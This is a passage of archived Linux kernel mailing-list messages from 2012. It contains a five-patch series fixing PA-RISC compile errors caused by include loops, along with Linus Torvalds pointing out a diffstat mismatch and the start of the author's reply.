	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSacx-0007DQ-Gt
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 23:10:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758221Ab2EJVKW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 17:10:22 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:46528 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757447Ab2EJVJ5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 17:09:57 -0400
Original-Received: (qmail 26353 invoked from network); 10 May 2012 21:09:55 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35782 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:55 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4353 gmane.linux.kernel:1295226
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4353>


--nextPart1852574.nSzBGjLzTC
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise get_order())
getorder.h includes log2.h which leads to an include loop on PA-RISC, bringing 
a bunch of other breakage to light. This patchset fixes the compilation of the 
current state of 3.4 on HPPA.

Unchanged against the first version, just added an Ack by Grant.

Rolf Eike Beer (5):
  parisc: add missing includes in asm/spinlock.h
  parisc: add missing forward declarations in asm/hardware.h
  parisc: drop include of asm/pdc.h from asm/hardware.h
  parisc: add missing include of asm/page.h to asm/pgtable.h
  parisc: move definition of PAGE0 to asm/page.h

 arch/parisc/include/asm/hardware.h |    3 ++-
 arch/parisc/include/asm/page.h     |    6 ++++++
 arch/parisc/include/asm/pdc.h      |    7 -------
 arch/parisc/include/asm/pgtable.h  |    2 ++
 arch/parisc/include/asm/spinlock.h |    2 ++
 arch/parisc/kernel/pdc_cons.c      |    1 +
 arch/parisc/kernel/time.c          |    1 +
 drivers/parisc/sba_iommu.c         |    1 +
 drivers/video/console/sticore.c    |    2 ++
 include/asm-generic/getorder.h     |    2 +-
 10 files changed, 18 insertions(+), 9 deletions(-)

-- 
1.7.9.2
--nextPart1852574.nSzBGjLzTC
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+sKh0ACgkQXKSJPmm5/E79qgCfV3D189F4JFb0G5yMbB9dwJeD
F4QAnRj6D6Erc16wL2MHeJQY4oId9Au1
=kfbA
-----END PGP SIGNATURE-----

--nextPart1852574.nSzBGjLzTC--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/5] parisc: add missing includes in asm/spinlock.h
Date: Thu, 10 May 2012 22:57:11 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <1723943.8iulFKmgJs@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336684281 22891 80.91.229.3 (10 May 2012 21:11:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:11:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 10 23:11:20 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SSadq-0007h3-QX
	for glk-linux-kernel-3@plane.gmane.org; Thu, 10 May 2012 23:11:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759583Ab2EJVLG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 10 May 2012 17:11:06 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55189 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758243Ab2EJVJ4 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 10 May 2012 17:09:56 -0400
Original-Received: (qmail 26345 invoked from network); 10 May 2012 21:09:54 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35781 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:54 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1295228 gmane.linux.ports.parisc:4354
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1295228>

This leads to this errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20:0,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h=
:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:=
55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm=
-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In funct=
ion =E2=80=98arch_spin_is_locked=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:2: erro=
r: implicit declaration of function =E2=80=98__ldcw_align=E2=80=99 [-We=
rror=3Dimplicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:29: war=
ning: initialization makes pointer from integer without a cast [enabled=
 by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In funct=
ion =E2=80=98arch_spin_lock_flags=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:22:2: err=
or: implicit declaration of function =E2=80=98mb=E2=80=99 [-Werror=3Dim=
plicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:23:4: war=
ning: assignment makes pointer from integer without a cast [enabled by =
default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:24:2: err=
or: implicit declaration of function =E2=80=98__ldcw=E2=80=99 [-Werror=3D=
implicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/spinlock.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/a=
sm/spinlock.h
index 804aa28..3516e0b 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
=20
+#include <asm/barrier.h>
+#include <asm/ldcw.h>
 #include <asm/processor.h>
 #include <asm/spinlock_types.h>
=20
--=20
1.7.9.2



From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/5] parisc: add missing forward declarations in asm/hardware.h
Date: Thu, 10 May 2012 23:01:40 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <1970353.sFHxzMjcN0@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336684307 23094 80.91.229.3 (10 May 2012 21:11:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:11:47 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 23:11:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSaeH-0007sB-F7
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 23:11:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758939Ab2EJVLo convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 17:11:44 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55676 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758180Ab2EJVJz convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 17:09:55 -0400
Original-Received: (qmail 26334 invoked from network); 10 May 2012 21:09:54 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35780 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:54 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4355 gmane.linux.kernel:1295230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4355>

=46ixes this warnings:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/processor.h:15:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:11,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h=
:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:=
55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm=
-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: w=
arning: its scope is only this definition or declaration, which is prob=
ably not what you want [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:116:59: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:118:47: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:119:57: w=
arning: =E2=80=98struct hardware_path=E2=80=99 declared inside paramete=
r list [enabled by default]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/hardware.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/a=
sm/hardware.h
index 4e96268..036e703 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -95,12 +95,14 @@ struct bc_module {
 #define HPHW_MC	       15
 #define HPHW_FAULTY    31
=20
+struct parisc_device_id;
=20
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id=
 *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
=20
 struct pci_dev;
+struct hardware_path;
=20
 /* drivers.c: */
 extern struct parisc_device *alloc_pa_dev(unsigned long hpa,
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 3/5] parisc: drop include of asm/pdc.h from asm/hardware.h
Date: Thu, 10 May 2012 23:03:26 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <5611809.8T3vflHrKr@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336684325 23249 80.91.229.3 (10 May 2012 21:12:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:12:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 23:12:04 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSaeW-000819-T8
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 23:12:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759782Ab2EJVMA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 17:12:00 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:55290 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758054Ab2EJVJy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 17:09:54 -0400
Original-Received: (qmail 26327 invoked from network); 10 May 2012 21:09:53 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35779 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:53 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4356 gmane.linux.kernel:1295231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4356>

It seems none of the symbols defined by pdc.h is needed, but it introdu=
ces an
include loop causing compile errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:4:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h=
:35,
                 from /home/buildbot/repos/linux/include/asm-generic/ge=
torder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/hardware.h:5,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/har=
dware.c:30:
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:74:16: e=
rror: field =E2=80=98cpu_type=E2=80=99 has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:77:20: e=
rror: field =E2=80=98model=E2=80=99 has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h: In func=
tion =E2=80=98parisc_requires_coherency=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: =
error: =E2=80=98mako=E2=80=99 undeclared (first use in this function)
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: =
note: each undeclared identifier is reported only once for each functio=
n it appears in
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:350:30: =
error: =E2=80=98mako2=E2=80=99 undeclared (first use in this function)

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Acked-by: Grant Grundler <grantgrundler@gmail.com>
---
 arch/parisc/include/asm/hardware.h |    1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/a=
sm/hardware.h
index 036e703..d1d864b 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -2,7 +2,6 @@
 #define _PARISC_HARDWARE_H
=20
 #include <linux/mod_devicetable.h>
-#include <asm/pdc.h>
=20
 #define HWTYPE_ANY_ID		PA_HWTYPE_ANY_ID
 #define HVERSION_ANY_ID		PA_HVERSION_ANY_ID
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 0/5] PA-RISC: fix compile
Date: Thu, 10 May 2012 15:23:37 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <CA+55aFwWrkmqFPW=hOPCiNDE9CGXrwk85W7-vt2Aeg5EC1MtJQ@mail.gmail.com>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336688648 22811 80.91.229.3 (10 May 2012 22:24:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 22:24:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 11 00:24:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSbmD-00020h-N1
	for glpp-linux-parisc@plane.gmane.org; Fri, 11 May 2012 00:24:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761850Ab2EJWX7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 18:23:59 -0400
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:45270 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757177Ab2EJWX6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 18:23:58 -0400
Original-Received: by weyu7 with SMTP id u7so29709wey.19
        for <multiple recipients>; Thu, 10 May 2012 15:23:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=b3TnfvGUz0g7RewjI8z22ZBut47RJOytHL1mvasxYYg=;
        b=c96PLoma53MdoNmFE2Ix+sMlNdgj6zUImJN+yYG0iBAA3LOktoO7vZ+OeuTlopver3
         QCpw12Nl2O4bCh5hJqG7ki0CMvpstivSOzp5mSepyh5Gz06+S1vqBuaZT8HFc+cJ/Ywq
         Bv2aEQtB+cDIvjrORXor4HDiePp8uguC8E1+JuDiUZ0sLciyK3nIJXENewuzBJZ1yhMM
         OCdSSD/sEEqnpdGzSKe2HfGvOwTvbo3VD0dS1SnIoq5dh9td0g8ZHuBHB064RsstXQl5
         uzThrapE3j2b9ZQpU3kGNAGET9+bDiB/b4i6VGOi+JTZ/AcQ9KGk1ItX8knxR5xMUFL/
         DaZg==
Original-Received: by 10.180.100.230 with SMTP id fb6mr1997462wib.3.1336688637278; Thu,
 10 May 2012 15:23:57 -0700 (PDT)
Original-Received: by 10.216.188.149 with HTTP; Thu, 10 May 2012 15:23:37 -0700 (PDT)
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
X-Google-Sender-Auth: 3xtIj_Lmx2PWrdkyD1cWTp6fKcU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4357 gmane.linux.kernel:1295268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4357>

On Thu, May 10, 2012 at 1:50 PM, Rolf Eike Beer <eike-kernel@sf-tec.de>=
 wrote:
>
> =A0arch/parisc/include/asm/hardware.h | =A0 =A03 ++-
> =A0arch/parisc/include/asm/page.h =A0 =A0 | =A0 =A06 ++++++
> =A0arch/parisc/include/asm/pdc.h =A0 =A0 =A0| =A0 =A07 -------
> =A0arch/parisc/include/asm/pgtable.h =A0| =A0 =A02 ++
> =A0arch/parisc/include/asm/spinlock.h | =A0 =A02 ++
> =A0arch/parisc/kernel/pdc_cons.c =A0 =A0 =A0| =A0 =A01 +
> =A0arch/parisc/kernel/time.c =A0 =A0 =A0 =A0 =A0| =A0 =A01 +
> =A0drivers/parisc/sba_iommu.c =A0 =A0 =A0 =A0 | =A0 =A01 +
> =A0drivers/video/console/sticore.c =A0 =A0| =A0 =A02 ++
> =A0include/asm-generic/getorder.h =A0 =A0 | =A0 =A02 +-
> =A010 files changed, 18 insertions(+), 9 deletions(-)

The diffstat doesn't match the actual patches - there are no getorder.h=
 changes.

Hmm?

                  Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 0/5] PA-RISC: fix compile
Date: Fri, 11 May 2012 00:44 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <24772505.xKFVoyPWuj@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de> <CA+55aFwWrkmqFPW=hOPCiNDE9CGXrwk85W7-vt2Aeg5EC1MtJQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2476140.ODqGFRtFtZ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336689866 31201 80.91.229.3 (10 May 2012 22:44:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 22:44:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 11 00:44:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSc5t-0000qM-U8
	for glpp-linux-parisc@plane.gmane.org; Fri, 11 May 2012 00:44:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932554Ab2EJWoV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 18:44:21 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45732 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1761578Ab2EJWoU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 18:44:20 -0400
Original-Received: (qmail 28382 invoked from network); 10 May 2012 22:44:15 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:36389 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <torvalds@linux-foundation.org>; Fri, 11 May 2012 00:44:15 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <CA+55aFwWrkmqFPW=hOPCiNDE9CGXrwk85W7-vt2Aeg5EC1MtJQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4358 gmane.linux.kernel:1295278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4358>


--nextPart2476140.ODqGFRtFtZ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Linus Torvalds wrote:
> On Thu, May 10, 2012 at 1:50 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> 
wrote:
> >  arch/parisc/include/asm/hardware.h |    3 ++-
> >  arch/parisc/include/asm/page.h     |    6 ++++++
> >  arch/parisc/include/asm/pdc.h      |    7 -------
> >  arch/parisc/include/asm/pgtable.h  |    2 ++
> >  arch/parisc/include/asm/spinlock.h |    2 ++
> >  arch/parisc/kernel/pdc_cons.c      |    1 +
> >  arch/parisc/kernel/time.c          |    1 +
> >  drivers/parisc/sba_iommu.c         |    1 +
> >  drivers/video/console/sticore.c    |    2 ++
> >  include/asm-generic/getorder.h     |    2 +-
> >  10 files changed, 18 insertions(+), 9 deletions(-)
> 
> The diffstat doesn't match the actual patches - there are no getorder.h
> changes.
> 
> Hmm?

Yes, sorry. That diffstat is of the old patch series that included the 
